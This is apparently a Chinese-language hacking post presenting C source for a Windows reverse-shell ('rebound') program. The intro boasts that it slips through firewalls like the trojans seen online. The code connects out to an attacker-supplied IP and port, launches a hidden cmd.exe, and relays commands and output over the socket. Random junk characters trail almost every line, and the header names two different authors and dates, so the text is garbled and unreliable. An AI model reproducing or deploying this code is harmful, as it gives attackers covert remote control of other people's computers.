这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xA`Q4"[I
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/* ============================== ^a[7qX_B
Rebound port in Windows NT \%KJ+PJ
By wind,2006/7 KR^lmN
===============================*/ r'7;:
#include KX"?3#U#Fm
#include t*.O >$[
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#pragma comment(lib,"wsock32.lib") XK`>#*"V
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void OutputShell(); {[jcT>.3j
SOCKET sClient; 5H6m{ng
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fv5'Bl
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void main(int argc,char **argv) ;'`T
{ [`Ol&R4k
WSADATA stWsaData; W% YJ.%I
int nRet; !?DPI)
SOCKADDR_IN stSaiClient,stSaiServer; 4+:Q"
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if(argc != 3) 2Y(Phw2%
{ _ ;O$ot\5
printf("Useage:\n\rRebound DestIP DestPort\n"); /j0<x^m/
return; 7Wmk"gp
} A@Z&ZBDg
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3=o3VGZP
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B0?E$8a
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stSaiClient.sin_family = AF_INET; _'ltz!~
stSaiClient.sin_port = htons(0); pZ/x,b#.
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8v8?D8\=|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .</d$FM JE
{ c+f~>AaI
printf("Bind Socket Failed!\n"); ctTg-J2.
return; u_dTJ,m
} <*V%!pwIG
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stSaiServer.sin_family = AF_INET; Pz,kSxe=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =<YG0K
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D?44:'x+-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) EFW'D=&h8
{ <ap%+(!I
printf("Connect Error!"); ^o,P>u!9
return; 5n"b$hMF
} 89v9BWF
OutputShell(); DxdiXf[j
} j5Vyo>
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void OutputShell() %`F6>J
{ ()6(eRGJ
char szBuff[1024]; {CG%$rh
SECURITY_ATTRIBUTES stSecurityAttributes; O]DZb+O"
OSVERSIONINFO stOsversionInfo; Zgkk%3'^'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M/x49qO#
STARTUPINFO stStartupInfo; cgNK67"(
char *szShell; v(W$\XH
PROCESS_INFORMATION stProcessInformation; JfxD-9U^>u
unsigned long lBytesRead; Jt\?,~,
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q!\K!W \
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s$4!?b$tw
stSecurityAttributes.lpSecurityDescriptor = 0; )[|TxXz
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stSecurityAttributes.bInheritHandle = TRUE; kl4FVZof
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o9(:m
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '`p#%I@
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T?4MFx#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ jWe!]ASU
stStartupInfo.wShowWindow = SW_HIDE; 8)\TdtBf9
stStartupInfo.hStdInput = hReadPipe; *v
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \XFF(
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GetVersionEx(&stOsversionInfo); ,j>A[e&.
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switch(stOsversionInfo.dwPlatformId) @d:TAwOI'
{ #!wu}nDu
case 1: qPDe;$J)
szShell = "command.com"; }enm#0Ha
break; PN:/lIO
default: H:Y?(" k
szShell = "cmd.exe"; )D\!#<#h
break; X31[
} |=fa`8mG
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 15U]/?jv8
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send(sClient,szMsg,77,0); /Fy2ZYs,`8
while(1) Tf(-Duxz
{ R".~{6
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Yj)H!Cp.xD
if(lBytesRead) 0}}b\!]9
{ xTiC[<j
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f40 xS7-Q0
send(sClient,szBuff,lBytesRead,0); ))- B`vi
} aMKi`EW
else @xIKYJyU
{ i%w[v_j
lBytesRead=recv(sClient,szBuff,1024,0); |(G^3+5Uwm
if(lBytesRead<=0) break; >Vc;s!R
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I!>pHF4
} m<qPj"g~L
} {_T?0L
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return; o|u<tuUW
}